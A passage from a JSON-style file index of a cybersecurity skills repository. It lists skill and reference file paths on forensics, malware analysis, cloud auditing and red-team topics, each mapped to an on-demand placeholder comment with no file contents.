/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-outlook-pst-for-email-forensics%2FSKILL.md -->","skills/analyzing-outlook-pst-for-email-forensics/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-outlook-pst-for-email-forensics%2Freferences%2Fapi-reference.md -->","skills/analyzing-outlook-pst-for-email-forensics/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-outlook-pst-for-email-forensics%2Freferences%2Fstandards.md -->","skills/analyzing-outlook-pst-for-email-forensics/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-outlook-pst-for-email-forensics%2Freferences%2Fworkflows.md -->","skills/analyzing-packed-malware-with-upx-unpacker/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-packed-malware-with-upx-unpacker%2FSKILL.md -->","skills/analyzing-packed-malware-with-upx-unpacker/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-packed-malware-with-upx-unpacker%2Freferences%2Fapi-reference.md -->","skills/analyzing-pdf-malware-with-pdfid/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-pdf-malware-with-pdfid%2FSKILL.md -->","skills/analyzing-pdf-malware-with-pdfid/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-pdf-malware-with-pdfid%2Freferences%2Fapi-reference.md -->","skills/analyzing-persistence-mechanisms-in-linux/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-persistence-mechanisms-in-linux%2FSKILL.md -->","skills/analyzing-persistence-mechanisms-in-linux/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-persistence-mechanisms-in-linux%2Freferences%2Fapi-reference.md -->","skills/analyzing-powershell-empire-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-powershell-empire-artifacts%2FSKILL.md -->","skills/analyzing-powershell-empire-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-powershell-empire-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-powershell-script-block-logging/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-powershell-script-block-logging%2FSKILL.md -->","skills/analyzing-powershell-script-block-logging/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-powershell-script-block-logging%2Freferences%2Fapi-reference.md -->","skills/analyzing-prefetch-files-for-execution-history/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-prefetch-files-for-execution-history%2FSKILL.md -->","skills/analyzing-prefetch-files-for-execution-history/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-prefetch-files-for-execution-history%2Freferences%2Fapi-reference.md -->","skills/analyzing-ransomware-encryption-mechanisms/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-encryption-mechanisms%2FSKILL.md -->","skills/analyzing-ransomware-encryption-mechanisms/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-encryption-mechanisms%2Freferences%2Fapi-reference.md -->","skills/analyzing-ransomware-leak-site-intelligence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-leak-site-intelligence%2FSKILL.md -->","skills/analyzing-ransomware-leak-site-intelligence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-leak-site-intelligence%2Freferences%2Fapi-reference.md -->","skills/analyzing-ransomware-network-indicators/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-network-indicators%2FSKILL.md -->","skills/analyzing-ransomware-network-indicators/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-network-indicators%2Freferences%2Fapi-reference.md -->","skills/analyzing-ransomware-payment-wallets/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-payment-wallets%2FSKILL.md -->","skills/analyzing-ransomware-payment-wallets/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-ransomware-payment-wallets%2Freferences%2Fapi-reference.md -->","skills/analyzing-sbom-for-supply-chain-vulnerabilities/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-sbom-for-supply-chain-vulnerabilities%2FSKILL.md -->","skills/analyzing-sbom-for-supply-chain-vulnerabilities/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-sbom-for-supply-chain-vulnerabilities%2Freferences%2Fapi-reference.md -->","skills/analyzing-security-logs-with-splunk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-security-logs-with-splunk%2FSKILL.md -->","skills/analyzing-security-logs-with-splunk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-security-logs-with-splunk%2Freferences%2Fapi-reference.md -->","skills/analyzing-slack-space-and-file-system-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-slack-space-and-file-system-artifacts%2FSKILL.md -->","skills/analyzing-slack-space-and-file-system-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-slack-space-and-file-system-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-supply-chain-malware-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2FSKILL.md -->","skills/analyzing-supply-chain-malware-artifacts/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2Fassets%2Ftemplate.md -->","skills/analyzing-supply-chain-malware-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-supply-chain-malware-artifacts/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2Freferences%2Fstandards.md -->","skills/analyzing-supply-chain-malware-artifacts/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-supply-chain-malware-artifacts%2Freferences%2Fworkflows.md -->","skills/analyzing-threat-actor-ttps-with-mitre-attack/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2FSKILL.md -->","skills/analyzing-threat-actor-ttps-with-mitre-attack/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2Fassets%2Ftemplate.md -->","skills/analyzing-threat-actor-ttps-with-mitre-attack/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2Freferences%2Fapi-reference.md -->","skills/analyzing-threat-actor-ttps-with-mitre-attack/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2Freferences%2Fstandards.md -->","skills/analyzing-threat-actor-ttps-with-mitre-attack/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-attack%2Freferences%2Fworkflows.md -->","skills/analyzing-threat-actor-ttps-with-mitre-navigator/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-navigator%2FSKILL.md -->","skills/analyzing-threat-actor-ttps-with-mitre-navigator/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-actor-ttps-with-mitre-navigator%2Freferences%2Fapi-reference.md -->","skills/analyzing-threat-intelligence-feeds/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-intelligence-feeds%2FSKILL.md -->","skills/analyzing-threat-intelligence-feeds/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-intelligence-feeds%2Freferences%2Fapi-reference.md -->","skills/analyzing-threat-landscape-with-misp/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-landscape-with-misp%2FSKILL.md -->","skills/analyzing-threat-landscape-with-misp/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-threat-landscape-with-misp%2Freferences%2Fapi-reference.md -->","skills/analyzing-tls-certificate-transparency-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-tls-certificate-transparency-logs%2FSKILL.md -->","skills/analyzing-tls-certificate-transparency-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-tls-certificate-transparency-logs%2Freferences%2Fapi-reference.md -->","skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-typosquatting-domains-with-dnstwist%2FSKILL.md -->","skills/analyzing-typosquatting-domains-with-dnstwist/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-typosquatting-domains-with-dnstwist%2Freferences%2Fapi-reference.md -->","skills/analyzing-uefi-bootkit-persistence/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-uefi-bootkit-persistence%2FSKILL.md -->","skills/analyzing-uefi-bootkit-persistence/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-uefi-bootkit-persistence%2Freferences%2Fapi-reference.md -->","skills/analyzing-usb-device-connection-history/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-usb-device-connection-history%2FSKILL.md -->","skills/analyzing-usb-device-connection-history/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-usb-device-connection-history%2Freferences%2Fapi-reference.md -->","skills/analyzing-web-server-logs-for-intrusion/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-web-server-logs-for-intrusion%2FSKILL.md -->","skills/analyzing-web-server-logs-for-intrusion/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-web-server-logs-for-intrusion%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-amcache-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-amcache-artifacts%2FSKILL.md -->","skills/analyzing-windows-amcache-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-amcache-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-event-logs-in-splunk/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-event-logs-in-splunk%2FSKILL.md -->","skills/analyzing-windows-event-logs-in-splunk/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-event-logs-in-splunk%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-lnk-files-for-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-lnk-files-for-artifacts%2FSKILL.md -->","skills/analyzing-windows-lnk-files-for-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-lnk-files-for-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-prefetch-with-python/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-prefetch-with-python%2FSKILL.md -->","skills/analyzing-windows-prefetch-with-python/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-prefetch-with-python%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-registry-for-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-registry-for-artifacts%2FSKILL.md -->","skills/analyzing-windows-registry-for-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-registry-for-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-shellbag-artifacts/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2FSKILL.md -->","skills/analyzing-windows-shellbag-artifacts/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2Fassets%2Ftemplate.md -->","skills/analyzing-windows-shellbag-artifacts/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2Freferences%2Fapi-reference.md -->","skills/analyzing-windows-shellbag-artifacts/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2Freferences%2Fstandards.md -->","skills/analyzing-windows-shellbag-artifacts/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fanalyzing-windows-shellbag-artifacts%2Freferences%2Fworkflows.md -->","skills/assessing-vector-and-embedding-weaknesses/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fassessing-vector-and-embedding-weaknesses%2FSKILL.md -->","skills/assessing-vector-and-embedding-weaknesses/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fassessing-vector-and-embedding-weaknesses%2Freferences%2Fapi-reference.md -->","skills/assessing-vector-and-embedding-weaknesses/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fassessing-vector-and-embedding-weaknesses%2Freferences%2Fstandards.md -->","skills/attacking-entra-id-with-roadtools/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-entra-id-with-roadtools%2FSKILL.md -->","skills/attacking-entra-id-with-roadtools/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-entra-id-with-roadtools%2Freferences%2Fapi-reference.md -->","skills/attacking-entra-id-with-roadtools/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-entra-id-with-roadtools%2Freferences%2Fstandards.md -->","skills/attacking-oauth-with-device-code-phishing/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-oauth-with-device-code-phishing%2FSKILL.md -->","skills/attacking-oauth-with-device-code-phishing/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-oauth-with-device-code-phishing%2Freferences%2Fapi-reference.md -->","skills/attacking-oauth-with-device-code-phishing/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fattacking-oauth-with-device-code-phishing%2Freferences%2Fstandards.md -->","skills/auditing-aws-s3-bucket-permissions/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-aws-s3-bucket-permissions%2FSKILL.md -->","skills/auditing-aws-s3-bucket-permissions/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-aws-s3-bucket-permissions%2Freferences%2Fapi-reference.md -->","skills/auditing-azure-active-directory-configuration/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-azure-active-directory-configuration%2FSKILL.md -->","skills/auditing-azure-active-directory-configuration/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-azure-active-directory-configuration%2Freferences%2Fapi-reference.md -->","skills/auditing-cloud-with-cis-benchmarks/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-cloud-with-cis-benchmarks%2FSKILL.md -->","skills/auditing-cloud-with-cis-benchmarks/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-cloud-with-cis-benchmarks%2Freferences%2Fapi-reference.md -->","skills/auditing-entra-id-with-aadinternals/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-entra-id-with-aadinternals%2FSKILL.md -->","skills/auditing-entra-id-with-aadinternals/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-entra-id-with-aadinternals%2Freferences%2Fapi-reference.md -->","skills/auditing-entra-id-with-aadinternals/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-entra-id-with-aadinternals%2Freferences%2Fstandards.md -->","skills/auditing-foundry-smart-contract-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-foundry-smart-contract-security%2FSKILL.md -->","skills/auditing-foundry-smart-contract-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-foundry-smart-contract-security%2Freferences%2Fapi-reference.md -->","skills/auditing-foundry-smart-contract-security/references/secure-deployment-and-keys.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-foundry-smart-contract-security%2Freferences%2Fsecure-deployment-and-keys.md -->","skills/auditing-foundry-smart-contract-security/references/vulnerability-checklist.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-foundry-smart-contract-security%2Freferences%2Fvulnerability-checklist.md -->","skills/auditing-gcp-iam-permissions/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-gcp-iam-permissions%2FSKILL.md -->","skills/auditing-gcp-iam-permissions/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-gcp-iam-permissions%2Freferences%2Fapi-reference.md -->","skills/auditing-kubernetes-cluster-rbac/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-cluster-rbac%2FSKILL.md -->","skills/auditing-kubernetes-cluster-rbac/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-cluster-rbac%2Freferences%2Fapi-reference.md -->","skills/auditing-kubernetes-rbac-privilege-escalation/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-rbac-privilege-escalation%2FSKILL.md -->","skills/auditing-kubernetes-rbac-privilege-escalation/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-rbac-privilege-escalation%2Freferences%2Fapi-reference.md -->","skills/auditing-kubernetes-rbac-privilege-escalation/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-kubernetes-rbac-privilege-escalation%2Freferences%2Fstandards.md -->","skills/auditing-mcp-servers-for-tool-poisoning/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-mcp-servers-for-tool-poisoning%2FSKILL.md -->","skills/auditing-mcp-servers-for-tool-poisoning/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-mcp-servers-for-tool-poisoning%2Freferences%2Fapi-reference.md -->","skills/auditing-mcp-servers-for-tool-poisoning/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-mcp-servers-for-tool-poisoning%2Freferences%2Fstandards.md -->","skills/auditing-terraform-infrastructure-for-security/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-terraform-infrastructure-for-security%2FSKILL.md -->","skills/auditing-terraform-infrastructure-for-security/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-terraform-infrastructure-for-security%2Freferences%2Fapi-reference.md -->","skills/auditing-tls-certificate-transparency-logs/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-tls-certificate-transparency-logs%2FSKILL.md -->","skills/auditing-tls-certificate-transparency-logs/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-tls-certificate-transparency-logs%2Freferences%2Fapi-reference.md -->","skills/auditing-uefi-firmware-with-chipsec/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-uefi-firmware-with-chipsec%2FSKILL.md -->","skills/auditing-uefi-firmware-with-chipsec/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-uefi-firmware-with-chipsec%2Freferences%2Fapi-reference.md -->","skills/auditing-uefi-firmware-with-chipsec/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fauditing-uefi-firmware-with-chipsec%2Freferences%2Fstandards.md -->","skills/automating-ioc-enrichment/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fautomating-ioc-enrichment%2FSKILL.md -->","skills/automating-ioc-enrichment/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fautomating-ioc-enrichment%2Freferences%2Fapi-reference.md -->","skills/benchmarking-kubernetes-with-kube-bench/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbenchmarking-kubernetes-with-kube-bench%2FSKILL.md -->","skills/benchmarking-kubernetes-with-kube-bench/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbenchmarking-kubernetes-with-kube-bench%2Freferences%2Fapi-reference.md -->","skills/benchmarking-kubernetes-with-kube-bench/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbenchmarking-kubernetes-with-kube-bench%2Freferences%2Fstandards.md -->","skills/building-adversary-infrastructure-tracking-system/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-adversary-infrastructure-tracking-system%2FSKILL.md -->","skills/building-adversary-infrastructure-tracking-system/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-adversary-infrastructure-tracking-system%2Freferences%2Fapi-reference.md -->","skills/building-attack-pattern-library-from-cti-reports/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-attack-pattern-library-from-cti-reports%2FSKILL.md -->","skills/building-attack-pattern-library-from-cti-reports/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-attack-pattern-library-from-cti-reports%2Freferences%2Fapi-reference.md -->","skills/building-automated-malware-submission-pipeline/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-automated-malware-submission-pipeline%2FSKILL.md -->","skills/building-automated-malware-submission-pipeline/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-automated-malware-submission-pipeline%2Freferences%2Fapi-reference.md -->","skills/building-c2-infrastructure-with-sliver-framework/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2FSKILL.md -->","skills/building-c2-infrastructure-with-sliver-framework/assets/template.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2Fassets%2Ftemplate.md -->","skills/building-c2-infrastructure-with-sliver-framework/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2Freferences%2Fapi-reference.md -->","skills/building-c2-infrastructure-with-sliver-framework/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2Freferences%2Fstandards.md -->","skills/building-c2-infrastructure-with-sliver-framework/references/workflows.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-infrastructure-with-sliver-framework%2Freferences%2Fworkflows.md -->","skills/building-c2-redirector-infrastructure/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-redirector-infrastructure%2FSKILL.md -->","skills/building-c2-redirector-infrastructure/references/api-reference.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-redirector-infrastructure%2Freferences%2Fapi-reference.md -->","skills/building-c2-redirector-infrastructure/references/standards.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-c2-redirector-infrastructure%2Freferences%2Fstandards.md -->","skills/building-cloud-siem-with-sentinel/SKILL.md":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fbuilding-cloud-siem-with-sentinel%2FSKILL.md 